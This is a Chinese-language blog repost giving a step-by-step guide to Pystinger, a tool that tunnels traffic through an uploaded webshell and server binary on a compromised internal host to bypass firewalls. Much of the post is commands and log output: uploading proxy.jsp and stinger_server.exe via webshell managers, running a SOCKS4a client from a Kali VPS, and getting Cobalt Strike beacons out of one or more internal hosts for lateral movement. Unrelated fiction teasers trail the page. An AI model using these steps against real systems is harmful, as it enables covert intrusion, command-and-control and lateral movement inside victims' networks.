Pystinger - 使用Webshell绕过防火墙进行流量转发

文章来源： Khan安全攻防实验室

pystinger通过webshell实现内网SOCK4代理,端口映射，可直接用于metasploit-framework,viper,cobalt strike上线。

主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本。

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

1 . SOCK4代理

proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回UTF-8

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

如下输出表示成功

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 600002020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...2020-01-06 21:12:47,674 - INFO - 622 - Local listencheckpass2020-01-0621:12:47,674- INFO -623- Socks4aon127.0.0.1:600002020-01-0621:12:47,674- INFO -628- WEBSHELL checking ...2020-01-0621:12:47,681- INFO -631- WEBSHELLcheckpass2020-01-0621:12:47,681- INFO -632-http://example.com:8080/proxy.jsp2020-01-0621:12:47,682- INFO -637- REMOTE_SERVER checking ...2020-01-0621:12:47,696- INFO -644- REMOTE_SERVERcheckpass2020-01-0621:12:47,696- INFO -645---- Sever Config ---2020-01-0621:12:47,696- INFO -647- client_address_list => []2020-01-0621:12:47,696- INFO -647- SERVER_LISTEN =>127.0.0.1:600102020-01-0621:12:47,696- INFO -647- LOG_LEVEL => INFO2020-01-0621:12:47,697- INFO -647- MIRROR_LISTEN =>127.0.0.1:600202020-01-0621:12:47,697- INFO -647- mirror_address_list => []2020-01-0621:12:47,697- INFO -647- READ_BUFF_SIZE =>512002020-01-0621:12:47,697- INFO -673- TARGET_ADDRESS :127.0.0.1:600202020-01-0621:12:47,697- INFO -677- SLEEP_TIME :0.012020-01-0621:12:47,697- INFO -679---- RAT Config ---2020-01-0621:12:47,697- INFO -681-Handler/LISTEN should listenon127.0.0.1:600202020-01-0621:12:47,697- INFO -683- Payload shouldconnectto127.0.0.1:600202020-01-0621:12:47,698-WARNING-111- LoopThreadstart2020-01-0621:12:47,703-WARNING-502- socks4aserverstarton127.0.0.1:600002020-01-0621:12:47,703-WARNING-509- Socks4a readytoaccept

此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理

此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

2 . cobalt strike单主机上线

proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回UTF-8

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

如下输出表示成功

cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1

生成payload,上传到主机运行后即可上线

3 . cobalt strike多主机上线

proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回UTF-8

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe 192.168.3.11启动服务端

192.168.3.11可以改成0.0.0.0

stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

如下输出表示成功

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 600002020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...2020-01-06 21:12:47,674 - INFO - 622 - Local listencheckpass2020-01-0621:12:47,674- INFO -623- Socks4aon127.0.0.1:600002020-01-0621:12:47,674- INFO -628- WEBSHELL checking ...2020-01-0621:12:47,681- INFO -631- WEBSHELLcheckpass2020-01-0621:12:47,681- INFO -632-http://example.com:8080/proxy.jsp2020-01-0621:12:47,682- INFO -637- REMOTE_SERVER checking ...2020-01-0621:12:47,696- INFO -644- REMOTE_SERVERcheckpass2020-01-0621:12:47,696- INFO -645---- Sever Config ---2020-01-0621:12:47,696- INFO -647- client_address_list => []2020-01-0621:12:47,696- INFO -647- SERVER_LISTEN =>127.0.0.1:600102020-01-0621:12:47,696- INFO -647- LOG_LEVEL => INFO2020-01-0621:12:47,697- INFO -647- MIRROR_LISTEN =>192.168.3.11:600202020-01-0621:12:47,697- INFO -647- mirror_address_list => []2020-01-0621:12:47,697- INFO -647- READ_BUFF_SIZE =>512002020-01-0621:12:47,697- INFO -673- TARGET_ADDRESS :127.0.0.1:600202020-01-0621:12:47,697- INFO -677- SLEEP_TIME :0.012020-01-0621:12:47,697- INFO -679---- RAT Config ---2020-01-0621:12:47,697- INFO -681-Handler/LISTEN should listenon127.0.0.1:600202020-01-0621:12:47,697- INFO -683- Payload shouldconnectto192.168.3.11:600202020-01-0621:12:47,698-WARNING-111- LoopThreadstart2020-01-0621:12:47,703-WARNING-502- socks4aserverstarton127.0.0.1:600002020-01-0621:12:47,703-WARNING-509- Socks4a readytoaccept

cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)

生成payload,上传到主机运行后即可上线

横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

4 . 定制Header及proxy

如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头

--header "Authorization: XXXXXX,Cookie: XXXXX"

如果webshell需要通过代理访问,可通过--proxy设置代理

--proxy "socks5:127.0.0.1:1081"

stinger_server\stinger_client

windows

linux

proxy.jsp(x)/php/aspx

php7.2

tomcat7.0

iis8.0

项目地址：

https://github.com/FunnyWolf/pystinger/releases/tag/v1.6

人面猴
序言：七十年代末，一起剥皮案震惊了整个滨河市，随后出现的几起案子，更是在滨河造成了极大的恐慌，老刑警刘岩，带你破解...
沈念sama阅读 160,108评论 4赞 364
死咒
序言：滨河连续发生了三起死亡事件，死亡现场离奇诡异，居然都是意外死亡，警方通过查阅死者的电脑和手机，发现死者居然都...
沈念sama阅读 67,699评论 1赞 296
救了他两次的神仙让他今天三更去死
文/潘晓璐我一进店门，熙熙楼的掌柜王于贵愁眉苦脸地迎上来，“玉大人，你说我怎么就摊上这事。” “怎么了？”我有些...
开封第一讲书人阅读 109,812评论 0赞 244
道士缉凶录：失踪的卖姜人
文/不坏的土叔我叫张陵，是天一观的道长。经常有香客问我，道长，这世上最难降的妖魔是什么？我笑而不...
开封第一讲书人阅读 44,236评论 0赞 213
港岛之恋（遗憾婚礼）
正文为了忘掉前任，我火速办了婚礼，结果婚礼上，老公的妹妹穿的比我还像新娘。我一直安慰自己，他们只是感情好，可当我...
茶点故事阅读 52,583评论 3赞 288
恶毒庶女顶嫁案：这布局不是一般人想出来的
文/花漫我一把揭开白布。她就那样静静地躺着，像睡着了一般。火红的嫁衣衬着肌肤如雪。梳的纹丝不乱的头发上，一...
开封第一讲书人阅读 40,739评论 1赞 222
城市分裂传说
那天，我揣着相机与录音，去河边找鬼。笑死，一个胖子当着我的面吹牛，可吹牛的内容都是我干的。我是一名探鬼主播，决...
沈念sama阅读 31,957评论 2赞 315
双鸳鸯连环套：你想象不到人心有多黑
文/苍兰香墨我猛地睁开眼，长吁一口气：“原来是场噩梦啊……” “哼！你这毒妇竟也来了？” 一声冷哼从身侧响起，我...
开封第一讲书人阅读 30,704评论 0赞 204
万荣杀人案实录
序言：老挝万荣一对情侣失踪，失踪者是张志新（化名）和其女友刘颖，没想到半个月后，有当地人在树林里发现了一具尸体，经...
沈念sama阅读 34,447评论 1赞 246
护林员之死
正文独居荒郊野岭守林人离奇死亡，尸身上长有42处带血的脓包…… 初始之章·张勋以下内容为张勋视角年9月15日...
茶点故事阅读 30,643评论 2赞 249
白月光启示录
正文我和宋清朗相恋三年，在试婚纱的时候发现自己被绿了。大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
茶点故事阅读 32,133评论 1赞 261
活死人
序言：一个原本活蹦乱跳的男人离奇死亡，死状恐怖，灵堂内的尸体忽然破棺而出，到底是诈尸还是另有隐情，我是刑警宁泽，带...
沈念sama阅读 28,486评论 3赞 256
日本核电站爆炸内幕
正文年R本政府宣布，位于F岛的核电站，受9级特大地震影响，放射性物质发生泄漏。R本人自食恶果不足惜，却给世界环境...
茶点故事阅读 33,151评论 3赞 238
男人毒药：我在死后第九天来索命
文/蒙蒙一、第九天我趴在偏房一处隐蔽的房顶上张望。院中可真热闹，春花似锦、人声如沸。这庄子的主人今日做“春日...
开封第一讲书人阅读 26,108评论 0赞 8
一桩弑父案，背后竟有这般阴谋
文/苍兰香墨我抬头看了看天上的太阳。三九已至，却和暖如春，着一层夹袄步出监牢的瞬间，已是汗流浃背。一阵脚步声响...
开封第一讲书人阅读 26,889评论 0赞 197
情欲美人皮
我被黑心中介骗来泰国打工，没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留，地道东北人。一个月前我还...
沈念sama阅读 35,782评论 2赞 277
代替公主和亲
正文我出身青楼，却偏偏与公主长得像，于是被迫代替她去往敌国和亲。传闻我的和亲对象是个残疾皇子，可洞房花烛夜当晚...
茶点故事阅读 35,681评论 2赞 272

Pystinger - 使用Webshell绕过防火墙进行流量转发

推荐阅读更多精彩内容